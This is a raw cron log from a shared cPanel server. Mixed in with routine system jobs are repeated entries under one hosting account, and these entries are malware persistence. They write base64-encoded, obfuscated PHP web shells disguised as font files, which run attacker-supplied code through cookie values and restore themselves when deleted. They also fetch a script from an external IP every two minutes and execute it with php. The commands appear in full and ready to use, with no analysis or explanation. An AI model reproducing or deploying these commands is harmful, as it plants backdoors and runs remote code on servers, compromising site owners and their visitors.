Sep 10 02:21:01 ip-184-168-122-23 CROND[16832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:21:01 ip-184-168-122-23 CROND[16834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:22:01 ip-184-168-122-23 CROND[16991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:22:01 ip-184-168-122-23 CROND[16993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:22:01 ip-184-168-122-23 CROND[16995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:22:01 ip-184-168-122-23 CROND[16997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:22:01 ip-184-168-122-23 CROND[16994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:23:01 ip-184-168-122-23 CROND[17079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:23:01 ip-184-168-122-23 CROND[17081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:23:01 ip-184-168-122-23 CROND[17082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:23:01 ip-184-168-122-23 CROND[17083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:24:01 ip-184-168-122-23 CROND[17164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:24:01 ip-184-168-122-23 CROND[17167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:24:01 ip-184-168-122-23 CROND[17168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:24:01 ip-184-168-122-23 CROND[17171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:24:02 ip-184-168-122-23 CROND[17170]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 10 02:24:02 ip-184-168-122-23 CROND[17172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:25:01 ip-184-168-122-23 CROND[17310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:25:01 ip-184-168-122-23 CROND[17312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:25:01 ip-184-168-122-23 CROND[17313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:25:01 ip-184-168-122-23 CROND[17314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:25:01 ip-184-168-122-23 CROND[17316]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 02:25:01 ip-184-168-122-23 CROND[17317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:25:01 ip-184-168-122-23 CROND[17315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:26:02 ip-184-168-122-23 CROND[17405]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 10 02:26:02 ip-184-168-122-23 CROND[17409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:26:02 ip-184-168-122-23 CROND[17411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:26:02 ip-184-168-122-23 CROND[17408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:26:02 ip-184-168-122-23 CROND[17410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:26:02 ip-184-168-122-23 CROND[17412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 10 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 10 02:27:01 ip-184-168-122-23 CROND[17701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:27:02 ip-184-168-122-23 CROND[17707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:27:02 ip-184-168-122-23 CROND[17708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:27:02 ip-184-168-122-23 CROND[17709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:28:01 ip-184-168-122-23 CROND[17801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:28:01 ip-184-168-122-23 CROND[17803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:28:01 ip-184-168-122-23 CROND[17804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:28:01 ip-184-168-122-23 CROND[17807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:28:01 ip-184-168-122-23 CROND[17805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:29:01 ip-184-168-122-23 CROND[17980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:29:01 ip-184-168-122-23 CROND[17982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:29:01 ip-184-168-122-23 CROND[17986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:29:01 ip-184-168-122-23 CROND[17989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:30:01 ip-184-168-122-23 CROND[18075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:30:01 ip-184-168-122-23 CROND[18081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:30:01 ip-184-168-122-23 CROND[18087]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:31:01 ip-184-168-122-23 CROND[18176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:31:01 ip-184-168-122-23 CROND[18179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:31:01 ip-184-168-122-23 CROND[18180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:31:01 ip-184-168-122-23 CROND[18183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:31:01 ip-184-168-122-23 CROND[18184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:32:01 ip-184-168-122-23 CROND[18269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:32:01 ip-184-168-122-23 CROND[18271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:32:01 ip-184-168-122-23 CROND[18273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:32:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:32:01 ip-184-168-122-23 CROND[18274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:33:01 ip-184-168-122-23 CROND[18361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:33:01 ip-184-168-122-23 CROND[18363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
